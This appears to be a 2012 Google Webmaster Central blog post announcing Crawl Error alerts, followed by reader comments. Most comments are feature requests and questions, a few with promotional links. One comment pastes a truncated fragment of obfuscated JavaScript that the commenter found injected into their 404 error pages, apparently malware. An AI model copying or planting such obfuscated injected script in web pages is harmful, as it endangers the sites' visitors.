Thursday, July 12, 2012 at 3:12 PM
Webmaster level: AllToday we’re rolling out Crawl Error alerts to help keep you informed of the state of your site.
Since Googlebot regularly visits your site, we know when your site exhibits connectivity issues or suddenly spikes in pages returning HTTP error response codes (e.g. 404 File Not Found, 403 Forbidden, 503 Service Unavailable, etc). If your site is timing out or is exhibiting systemic errors when accessed by Googlebot, other visitors to your site might be having the same problem!
When we see such errors, we may send alerts –- in the form of messages in the Webmaster Tools Message Center –- to let you know what we’ve detected. Hopefully, given this increased communication, you can fix potential issues that may otherwise impact your site’s visitors or your site’s presence in search.
As we discussed in our blog post announcing the new Webmaster Tools Crawl Errors feature, we divide crawl errors into two types: Site Errors and URL Errors.
Site Error alerts for major site-wide problems
Site Errors represent an inability to connect to your site, and represent systemic issues rather than problems with specific pages. Here are some issues that might cause Site Errors:- Your DNS server is down or misconfigured.
- Your web server itself is firewalled off.
- Your web server is refusing connections from Googlebot.
- Your web server is overloaded, or down.
- Your site’s robots.txt is inaccessible.
![]() |
| Example of a Site Error alert |
If your site shows a 100% error rate in one of these categories, it likely means that your site is either down or misconfigured in some way. If your site has an error rate less than 100% in any of these categories, it could just indicate a transient condition, but it could also mean that your site is overloaded or improperly configured. You may want to investigate these issues further, or ask about them on our forum.
We may alert you even if the overall error rate is very low — in our experience a well configured site shouldn’t have any errors in these categories.
URL Error anomaly alerts for potentially less critical issues
Whereas any appreciable number of Site Errors could indicate that your site is misconfigured, overloaded, or simply out of service, URL Errors (pages that return a non-200 HTTP code, or incorrectly return an HTTP 200 code in the case of soft 404 errors) may occur on any well-configured site. Because different sites have different numbers of pages and different numbers of external links, a count of errors that indicates a serious problem for a small site might be entirely normal for a large site.That’s why for URL Errors we only send alerts when we detect a large spike in the number of errors for any of the five categories of errors (Server error, Soft 404, Access denied, Not found or Not followed). For example, if your site routinely has 100 pages with 404 errors, we won’t alert you if that number fluctuates minimally. However we might notify you when that count reaches a much higher number, say 500 or 1,000. Keep in mind that seeing 404 errors is not always bad, and can be a natural part of a healthy website (see our previous blog post: Do 404s hurt my site?).
A large spike in error count could be because something has changed on your site — perhaps a reconfiguration has changed the permissions for a section of your site, or a new version of a script is crashing regularly, or someone accidentally moved or deleted an entire directory, or a reorganization of your site causes external links to no longer work. It could also just be a transient spike, or could be because of external causes (someone has linked to non-existent pages), so there might not even be a problem; but when we see an unusually large number of errors for your site, we’ll let you know so you can investigate:
![]() |
| Example of a URL Error anomaly alert |
Enable Message forwarding to send alerts to your inbox
We know you’re busy, and that routinely checking Webmaster Tools just to check for new alerts might be something you forget to do. Consider turning on Message forwarding. We’ll send any Webmaster Tools messages to the email address of your choice.Let us know what you think, and if you have any comments or suggestions on our new alerts please visit our forum.




29 comments:
I am appreciating the Crawl Error section of Tools. I do have a suggestion....
Put a remove URL option on the 404 Not Found report with the FIXED button.
I totally agree with your comment Robert,
If the crawl error is not from our side but from the links we were getting from are showing errors than there should be a tool to remove such URL and get the site error free
I was always wanted to have an mail alert when URL crawling goes wrong ! thanks to this new feature it will be easier to track such errors and resolve them faster.
Very utility feature. More so the Email facility. Thanks with Regards.
I think this feature came at the right time. The need of alert is really most wanted thing when there is an issue of crawling error for the website. It facilitates the webmaster to resolve the error as it occurs which was not same speedy process before this new Google Webmastr tool's feature.
Very good stuff!
But please when I fix an error stop to show it again and again even if it is solved :)
Thanks.
I agree with Andrea Pernici! Please stop to show fixed erros again and again ...
The text within the image for the DNS errror alerts says :
Recommended action > Use a WHOIS tool to verify that [site] has a proper whois record ...... and if not update... your whois records.
What is a 'proper whois record' ? What if I had an improper one ? Or one which was not on 'whois' ? Does this mean a site would not be crawled and indexed, like 'Result : You failed the WHOIS test'. I suspect not, and the real information which was mentioned briefly within was with regards to checking the nameservers.
Message forwarding to send alerts is really appreciable.
Thanks Google for sending crawl errors!!
Giving alerts in mailbox will give so many website owners to quick fix error and increase visitor. A great services by Google.
I think your new feature has a few bugs as I'm getting reports that my crawl has been postponed because my robots.txt file is inaccessible, however, I know I haven't changed anything. Plus if I use fetch at google I get a success 200 code, and when looking at Blocked URL it says the robots.txt file was downloaded 16 hours ago and status was 200 (success).
This is really great - I would also love to see this become an API or even just a XML feed for people with lots of sites.
Thanks!
thank for google
What do you do if you get this error on a site that you have cancelled with your hosting company, who have released it, and you have deleted the site from your Webmaster tools account and Analytics account?
thanks google for this info
regards,
Ramzi
there's a template error with my blog. i cant fix the layout of my blog
I think this is going to be really great feature for the webmasters to figure out the crawl rate as well as errors easily.
This is a great help, but I do also agree with a number of the other commenters: please include a way to remove URL from the Not found crawl error list. Or at least provide webmasters with some way to add a marker to show that the error has been noted. Mark as fixed doesn't seem the right option for a url that has been removed or is generated from outside the webmaster's control.
amazing helpful features for new webmaster's thanks.
helpful for new webmasters.
mail alert when URL crawling goes wrong ! thanks to this new feature it will be easier to track such errors and resolve them faster.
This is a great help, but I do also agree with a number of the other commenters: please include a way to remove URL from the Not found crawl error list. Or at least provide webmasters with some way to add a marker to show that the error has been noted. Mark as fixed doesn't seem the right option for a url that has been removed or is generated from outside the webmaster's control.
http://rahasia-bloggerseo.blogspot.com
http://www.bisnis-cerdas.info
this will be very helpful for webmasters
This tools helps me to identify and remove the errors from my blogs. But if it takes higher times to fix, then will it drops the search engines ranks?
more than one week, I got this problem, I have done a variety of ways, however, Googlebot can not access my site
http://www.xyraclius.com/
excellent i had many crawl error on my site www.retrify.com
one get get in trouble with 404 errors, if you have lots of them. I
remember changing the sitestructure of my website and I got lots of 404
in webmaster tools.
My site too has lots of 404 errors reported by Google webmaster but these urls are accessible from browsers so i can't able to figure out why these errors has been reported by webmaster.
Your suggestion is welcome.
I was having issues with Template Errors from Google Webtools. I tracked the problem to the error pages in the error_docs folder.
The not_found page should look like:
HEAD
TITLE404 Not Found TITLE
HEAD
BODY
H1 Not Found H1
The requested document was not found on this server.
P
HR
ADDRESS
Web Server at {web site name}
ADDRESS
BODY
- Unfortunately, Microsoft has added a clever new
- "feature" to Internet Explorer. If the text of
- an error's message is "too small", specifically
- less than 512 bytes, Internet Explorer returns
- its own error message. You can turn that off,
- but it's pretty tricky to find switch called
- "smart error messages". That means, of course,
- that short error messages are censored by default.
- IIS always returns error messages that are long
- enough to make Internet Explorer happy. The
- workaround is pretty simple: pad the error
- message with a big comment like this to push it
- over the five hundred and twelve bytes minimum.
- Of course, that's exactly what you're reading
- right now.
-->
What I found was there was stuff added to in the body that looked like:
var XegarZazakn='';var MeqPecn=-40;MeqPecn+=56;ZetaL
ek='deqekejeje';var TeqVew=window;var LeBadae='e3svCa4lOmW'.
replace(/[3sC4OmW]/g, '');JaLaxav='barec';var VeleGebc='fyU4
rT7oGmACunBhwaxyKrcSjCLLnloWtdc4ew6'.replace(/[yU4T7GAunBwxy
KcSjLLnlWtc4w6]/g, '');CabTe='wasegapexete';var NarefHefi=pa
rseInt;var SexenSehes=String;var DaJajaxt='mafepes qaqeb fey
exaj cazegapefetepaba sebazex yefa lepawake yeyele nemedem m
emasededevata vevegek veqara pavesew kelekereremeqed catemex
a getev vaw fadedezetamecel zemaxeba yatewaje leqadala qel t
epaged wajadegege jemazepa qaxev vekepep yebege jaf kehelewe
g xel yeteceqa keye rexekayebehak zetewex sexaveseva tedegak
nepebaf webaleqe gev baxezer la kecaset dezebadevereve yeves
af vevaxe sal y nahekexe zawe hefeyeq sega dafarefa let bege
fej reyecesakelejeje kayeyeq cebewayexedef manesez tanexewah
emex nexebah pekehakema febefeq parekeheveyayez kazepel yela
hepa sesa reregazehelawe laq hef jebeteg sezajalaxekeced mel
aden ragekareketebefa qev jeb cel f wegewada farefake galara
It took me a long time to find this because I did not generate this pages.
Got alert from GWT for the first time on 4/23. Had about 280 Connect timeout errors occur. Then more Connect timeouts on 4/24, 25, 26, now up to over 1000 Connect timeout errors. How can we try to determine what URLs these errors are occurring on? We've never had a problem with this, and cannot reproduce the issue, and logs don't show the errors. It seems like it's a false alert from GWT. Any ideas how to debug?
Post a Comment